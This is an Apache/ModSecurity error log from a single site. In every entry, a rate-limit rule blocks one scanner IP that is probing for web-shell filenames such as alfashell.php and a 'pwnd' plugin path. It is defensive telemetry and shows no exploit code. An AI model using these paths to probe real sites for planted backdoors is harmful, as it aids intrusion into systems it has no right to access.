[Fri Apr 10 23:32:52.231174 2026] [:error] [pid 13189:tid 13205] [client 158.158.53.142:52134] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adkYJJAxiJKPums3eBAOwQAAAE0"]
[Fri Apr 10 23:32:52.780899 2026] [:error] [pid 13189:tid 13210] [client 158.158.53.142:52123] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adkYJJAxiJKPums3eBAOyAAAAFI"]
[Fri Apr 10 23:32:53.310651 2026] [:error] [pid 62769:tid 62783] [client 158.158.53.142:7755] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adkYJcWsSnfLoB8ifjDGYAAAAkw"]
[Fri Apr 10 23:32:53.841138 2026] [:error] [pid 62884:tid 62915] [client 158.158.53.142:50174] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adkYJeUCK1xrhnnmpo2cDQAAAtg"]
[Fri Apr 10 23:32:54.346406 2026] [:error] [pid 62710:tid 62714] [client 158.158.53.142:52067] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adkYJuME7qrf5xEWWJtI6wAAAgE"]
[Fri Apr 10 23:32:54.917625 2026] [:error] [pid 62651:tid 62671] [client 158.158.53.142:7744] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adkYJjbAH0le57SIaqw6JAAAAdI"]
[Fri Apr 10 23:32:55.438340 2026] [:error] [pid 13101:tid 13157] [client 158.158.53.142:7299] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adkYJ98Ldw85818pj2ojNAAAAJg"]
[Fri Apr 10 23:32:55.974842 2026] [:error] [pid 62710:tid 62724] [client 158.158.53.142:48837] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adkYJ-ME7qrf5xEWWJtI8AAAAgs"]
[Fri Apr 10 23:32:56.457925 2026] [:error] [pid 13101:tid 13140] [client 158.158.53.142:48924] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adkYKN8Ldw85818pj2ojPgAAAIc"]
[Fri Apr 10 23:32:57.046492 2026] [:error] [pid 63062:tid 63080] [client 158.158.53.142:7303] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adkYKZ2HtsmV85NqkMcSvAAAA5A"]
[Fri Apr 10 23:32:57.610199 2026] [:error] [pid 13101:tid 13152] [client 158.158.53.142:48953] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adkYKd8Ldw85818pj2ojRAAAAJM"]
[Fri Apr 10 23:32:58.090428 2026] [:error] [pid 63062:tid 63070] [client 158.158.53.142:50126] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adkYKp2HtsmV85NqkMcSvgAAA4Y"]
[Fri Apr 10 23:32:58.757487 2026] [:error] [pid 62819:tid 62827] [client 158.158.53.142:49533] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adkYKvU20EyPf7NlsleGzAAAAoU"]
[Fri Apr 10 23:32:59.516381 2026] [:error] [pid 63062:tid 63065] [client 158.158.53.142:48848] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adkYK52HtsmV85NqkMcSwAAAA4E"]
[Fri Apr 10 23:33:00.062099 2026] [:error] [pid 62651:tid 62664] [client 158.158.53.142:7918] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adkYLDbAH0le57SIaqw6LAAAAcs"]
[Fri Apr 10 23:33:00.594220 2026] [:error] [pid 62710:tid 62734] [client 158.158.53.142:48889] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adkYLOME7qrf5xEWWJtI-AAAAhU"]
[Fri Apr 10 23:33:01.110290 2026] [:error] [pid 62769:tid 62794] [client 158.158.53.142:52106] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adkYLcWsSnfLoB8ifjDGZQAAAlc"]
[Fri Apr 10 23:33:01.650085 2026] [:error] [pid 62884:tid 62904] [client 158.158.53.142:49583] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adkYLeUCK1xrhnnmpo2cDwAAAs0"]
[Fri Apr 10 23:33:02.177639 2026] [:error] [pid 62769:tid 62786] [client 158.158.53.142:7313] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adkYLsWsSnfLoB8ifjDGaAAAAk8"]
[Fri Apr 10 23:33:02.748364 2026] [:error] [pid 13101:tid 13147] [client 158.158.53.142:52121] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adkYLt8Ldw85818pj2ojUQAAAI4"]
[Fri Apr 10 23:33:03.224844 2026] [:error] [pid 62769:tid 62790] [client 158.158.53.142:8028] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adkYL8WsSnfLoB8ifjDGcgAAAlM"]
[Fri Apr 10 23:33:03.920507 2026] [:error] [pid 13189:tid 13206] [client 158.158.53.142:50140] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adkYL5AxiJKPums3eBAO3wAAAE4"]
[Fri Apr 10 23:33:04.461279 2026] [:error] [pid 62769:tid 62782] [client 158.158.53.142:7890] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adkYMMWsSnfLoB8ifjDGdwAAAks"]
[Fri Apr 10 23:33:05.082488 2026] [:error] [pid 62710:tid 62729] [client 158.158.53.142:7888] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adkYMeME7qrf5xEWWJtJBAAAAhA"]
[Fri Apr 10 23:33:05.627632 2026] [:error] [pid 63062:tid 63076] [client 158.158.53.142:7683] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adkYMZ2HtsmV85NqkMcSxwAAA4w"]
[Fri Apr 10 23:33:06.247053 2026] [:error] [pid 62710:tid 62726] [client 158.158.53.142:7872] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adkYMuME7qrf5xEWWJtJBwAAAg0"]
[Fri Apr 10 23:33:06.769795 2026] [:error] [pid 62710:tid 62734] [client 158.158.53.142:7788] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adkYMuME7qrf5xEWWJtJCAAAAhU"]
[Fri Apr 10 23:33:07.274739 2026] [:error] [pid 62769:tid 62778] [client 158.158.53.142:7919] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adkYM8WsSnfLoB8ifjDGgAAAAkc"]
[Fri Apr 10 23:33:07.871768 2026] [:error] [pid 62769:tid 62777] [client 158.158.53.142:8057] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adkYM8WsSnfLoB8ifjDGgwAAAkY"]
[Fri Apr 10 23:33:08.361755 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:7807] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adkYNMWsSnfLoB8ifjDGhgAAAko"]
[Fri Apr 10 23:33:08.907204 2026] [:error] [pid 13101:tid 13157] [client 158.158.53.142:7799] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adkYNN8Ldw85818pj2ojVwAAAJg"]
[Fri Apr 10 23:33:09.412241 2026] [:error] [pid 62769:tid 62779] [client 158.158.53.142:52070] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adkYNcWsSnfLoB8ifjDGiAAAAkg"]
[Fri Apr 10 23:33:09.988221 2026] [:error] [pid 13100:tid 13119] [client 158.158.53.142:7778] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adkYNVzg-ZkZ0InWIP3SzAAAAQ4"]
[Fri Apr 10 23:33:10.551607 2026] [:error] [pid 62884:tid 62909] [client 158.158.53.142:8003] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adkYNuUCK1xrhnnmpo2cFwAAAtI"]
[Fri Apr 10 23:33:11.158353 2026] [:error] [pid 13189:tid 13200] [client 158.158.53.142:51507] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adkYN5AxiJKPums3eBAO7QAAAEg"]
[Fri Apr 10 23:33:11.784035 2026] [:error] [pid 13189:tid 13208] [client 158.158.53.142:52050] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adkYN5AxiJKPums3eBAO9gAAAFA"]
[Fri Apr 10 23:33:12.331977 2026] [:error] [pid 13189:tid 13212] [client 158.158.53.142:51457] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adkYOJAxiJKPums3eBAO_AAAAFQ"]
[Fri Apr 10 23:33:12.914502 2026] [:error] [pid 13189:tid 13213] [client 158.158.53.142:52135] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adkYOJAxiJKPums3eBAPAQAAAFU"]
[Fri Apr 10 23:33:13.487545 2026] [:error] [pid 63062:tid 63065] [client 158.158.53.142:48915] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adkYOZ2HtsmV85NqkMcS0AAAA4E"]
[Fri Apr 10 23:33:14.003018 2026] [:error] [pid 62651:tid 62659] [client 158.158.53.142:49480] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adkYOjbAH0le57SIaqw6OAAAAcY"]
[Fri Apr 10 23:33:14.617306 2026] [:error] [pid 63134:tid 63161] [client 158.158.53.142:7754] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adkYOtFALqPDwWi6eJLL7wAAA9g"]
[Fri Apr 10 23:33:15.115931 2026] [:error] [pid 13189:tid 13211] [client 158.158.53.142:49563] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adkYO5AxiJKPums3eBAPCQAAAFM"]
[Fri Apr 10 23:33:15.644528 2026] [:error] [pid 62769:tid 62779] [client 158.158.53.142:52124] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkYO8WsSnfLoB8ifjDGkQAAAkg"]
[Fri Apr 10 23:33:16.165522 2026] [:error] [pid 63134:tid 63159] [client 158.158.53.142:48897] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkYPNFALqPDwWi6eJLL8gAAA9Y"]
[Fri Apr 10 23:33:16.704298 2026] [:error] [pid 13189:tid 13197] [client 158.158.53.142:49542] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkYPJAxiJKPums3eBAPDAAAAEU"]
[Fri Apr 10 23:33:17.183914 2026] [:error] [pid 62710:tid 62717] [client 158.158.53.142:48859] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adkYPeME7qrf5xEWWJtJDwAAAgQ"]
[Fri Apr 10 23:33:17.757196 2026] [:error] [pid 63062:tid 63067] [client 158.158.53.142:52101] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adkYPZ2HtsmV85NqkMcS2QAAA4M"]
[Fri Apr 10 23:33:18.321887 2026] [:error] [pid 13100:tid 13108] [client 158.158.53.142:8172] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adkYPlzg-ZkZ0InWIP3S1AAAAQM"]
[Fri Apr 10 23:33:18.932074 2026] [:error] [pid 63134:tid 63154] [client 158.158.53.142:52041] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adkYPtFALqPDwWi6eJLL_QAAA9E"]
[Fri Apr 10 23:33:19.454677 2026] [:error] [pid 63134:tid 63157] [client 158.158.53.142:51504] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adkYP9FALqPDwWi6eJLL_wAAA9Q"]
[Fri Apr 10 23:33:19.927522 2026] [:error] [pid 63134:tid 63140] [client 158.158.53.142:49561] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adkYP9FALqPDwWi6eJLMAwAAA8M"]
[Fri Apr 10 23:33:20.413343 2026] [:error] [pid 62769:tid 62771] [client 158.158.53.142:7688] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adkYQMWsSnfLoB8ifjDGnQAAAkA"]
[Fri Apr 10 23:33:20.935209 2026] [:error] [pid 13100:tid 13106] [client 158.158.53.142:50125] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adkYQFzg-ZkZ0InWIP3S3QAAAQE"]
[Fri Apr 10 23:33:21.483832 2026] [:error] [pid 62769:tid 62790] [client 158.158.53.142:7717] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adkYQcWsSnfLoB8ifjDGpQAAAlM"]
[Fri Apr 10 23:33:22.012917 2026] [:error] [pid 63062:tid 63068] [client 158.158.53.142:7887] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adkYQp2HtsmV85NqkMcS3QAAA4Q"]
[Fri Apr 10 23:33:22.581365 2026] [:error] [pid 63062:tid 63080] [client 158.158.53.142:48909] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adkYQp2HtsmV85NqkMcS3gAAA5A"]
